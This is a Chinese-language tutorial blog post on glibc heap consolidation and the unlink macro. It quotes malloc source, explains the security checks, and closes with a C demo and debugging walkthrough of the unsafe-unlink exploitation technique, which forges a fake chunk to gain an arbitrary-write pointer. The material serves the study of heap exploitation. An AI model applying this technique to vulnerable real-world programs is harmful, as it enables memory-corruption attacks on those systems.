Glibc堆塊的向前向後合併與unlink原理機制探究
玩pwn有一段時間了,最近有點生疏了,調起來都不順手了,所以讀讀malloc原始碼回爐一點一點總結反思下。
Unlink是把free掉的chunk從所屬的bins鏈中,卸下來的操作(當然還包括一系列的檢測機制),它是在free掉一塊chunk(除fastbin大小的chunk外)之後,glibc檢查這塊chunk相鄰的上下兩塊chunk的free狀態之後,做出的 向後合併 或者 向前合併 引起的。
向前、向後合併
p是指向free掉的chunk的指標(注意不是指向data的指標,是chunk),size是這塊chunk的size。
/* consolidate backward */ 4277if (!prev_inuse(p)) { 4278prevsize = prev_size (p); 4279size += prevsize; 4280p = chunk_at_offset(p, -((long) prevsize)); 4281unlink(av, p, bck, fwd); 4282} 4283 4284if (nextchunk != av->top) { 4285/* get and clear inuse bit */ 4286nextinuse = inuse_bit_at_offset(nextchunk, nextsize); 4287 4288/* consolidate forward */ 4289if (!nextinuse) { 4290unlink(av, nextchunk, bck, fwd); 4291size += nextsize; 4292} else 4293clear_inuse_bit_at_offset(nextchunk, 0); 4294 4295/* 4296Place the chunk in unsorted chunk list. Chunks are 4297not placed into regular bins until after they have 4298been given one chance to be used in malloc. 4299*/ 4300 4301bck = unsorted_chunks(av); 4302fwd = bck->fd; 4303if (__glibc_unlikely (fwd->bk != bck)) 4304malloc_printerr ("free(): corrupted unsorted chunks"); 4305p->fd = fwd; 4306p->bk = bck; 4307if (!in_smallbin_range(size)) 4308{ 4309p->fd_nextsize = NULL; 4310p->bk_nextsize = NULL; 4311} 4312bck->fd = p; 4313fwd->bk = p; 4314 4315set_head(p, size | PREV_INUSE); 4316set_foot(p, size); 4317 4318check_free_chunk(av, p); 4319} 4320 4321/* 4322If the chunk borders the current high end of memory, 4323consolidate into top 4324*/ 4325 4326else { 4327size += nextsize; 4328set_head(p, size | PREV_INUSE); 4329av->top = p; 4330check_chunk(av, p); 4331}
向後合併
向後合併部分的程式碼在4277-4282行
向後合併流程:
-
檢查p指向chunk的size欄位的pre_inuse位,是否為0(也就是檢查當前chunk的前一塊chunk是否是free的,如果是則進入向前合併的流程)
-
獲取前一塊chunk的size,並加到size中(以此來表示size大小上已經合併)
-
根據當前chunk的presize來獲得指向前一塊chunk的指標
- 將這個指標傳入unlink的巨集(也就是讓free掉的chunk的前一塊chunk進入到unlink流程)
向前合併
如果free掉的chunk相鄰的下一塊chunk(下面用nextchunk表示,並且nextsize表示它的大小)不是topchunk,並且是free的話就進入向前合併的流程。(見程式碼4284-4289行)
如果nextchunk不是free的,則修改他的size欄位的pre_inuse位。
如果nextchunk是topchunk則和topchunk進行合併。
ps:檢測nextchunk是否free,是通過 inuse_bit_at_offset(nextchunk, nextsize) 來獲得nextchunk的相鄰下一塊chunk的size欄位的presize位實現的。
向前合併流程(見程式碼4290-4291):
-
讓nextchunk進入unlink流程
- 給size加上nextsize(同理也是表示大小上兩個chunk已經合併了)
unlink
unlink是個巨集,但是在讀程式碼的時候請把 bk和fd 當作變數。
ps:p是指向chunk的指標。
#define unlink(AV, P, BK, FD) { if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; }}\ } }
-
檢查當前chunk的size欄位與它相鄰的下一塊chunk中記錄的pre_size是否一樣如果不一樣,就出現 corrupted size vs. prev_size 的錯誤
-
檢查是否滿足p->fd->bk==p和p->bk->fd==p,否則出現 corrupted double-linked list ,錯誤。
-
解鏈操作:fd->bk=bk和bk->fd=fd(學過迴圈雙鏈表的都能看懂吧)
這裡配上一張CTFwiki的圖: - 接下來的程式碼其實是對largechunk的一系列檢測和處理機制,這裡可以不用管 ,一般實戰利用的時候都是對smallchunk進行利用的。
以上就是unlink的操作,本質上就是從glibc管理的bin鏈中解鏈以及解鏈前的安全檢查(防止被利用)
那unlink之後又做了什麼呢?
整理chunk結構並放入unsortedbin當中
不管是向前合併還是向後合併,unlink後都會來到4301-4318行。
其實做的是,將合併好的chunk加入到unsorted bin中第一個
並且如果這個chunk是samll chunk大小的話它是沒有fd_nextsize和bk_nextsize的
然後就設定合併過後的chunk的頭部(設定合併過後的size,已經合併形成的chunk的下一塊chunk的pre_size欄位)
unlink Demo除錯驗證
理論上面已經談過了,but Talk is cheap,Debug is real! 先來個小demo結合上面的原理感受下。
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10];// padding }; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80;// chunk1's data region size chunk2_hdr->size &= ~1;// Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; }
ps:**在這個Demo中假定chun1的資料內容是被攻擊者可控的並且可以溢位修改到下面一個chunk
然後在chunk1中偽造一個chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk來避過corrupted double-linked list檢測。
因為要使得fake_chunk->fd—>bk==fakechunk的話,要使得fake_chunk->fd裡面存的是存有chunk1的地址的變數往上偏移0x18,同理fake_chunk->bk也是要網上偏移0x10的。

然後修改好chunk2的presize欄位為0x80就是chunk1的資料大小(用來避過corrupted size vs. prev_size檢測的),和size欄位的preinuse位為0(),從而達到欺騙glibc的機制,讓它一位chunk2的前一塊chunk(也就是chunk1)是free的,並且滿足unlink所有的安全機制。這時候free掉chunk2的話就會觸發向後合併。

看一看chunk1和chunk2的情況。以及完全構造好了。接下來就是free(chunk2)觸發unlink。觸發之後

chunk1的內容變成了&chunk1-3了。
這是因為fake_chunk->bk->fd=fake_chunk->fd,前面已經講過fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink過後,chunk1裡邊存的是&chunk1-0x10的地址。
看看裡邊的內容:

畫線的地方是chunk2存的內容,無疑是棧上的東西了。而它前一個8位元組存的就是chunk1存的地址0x00007fffffffdcb8,對吧自己算算地址,不就是&chunk1-0x18了麼?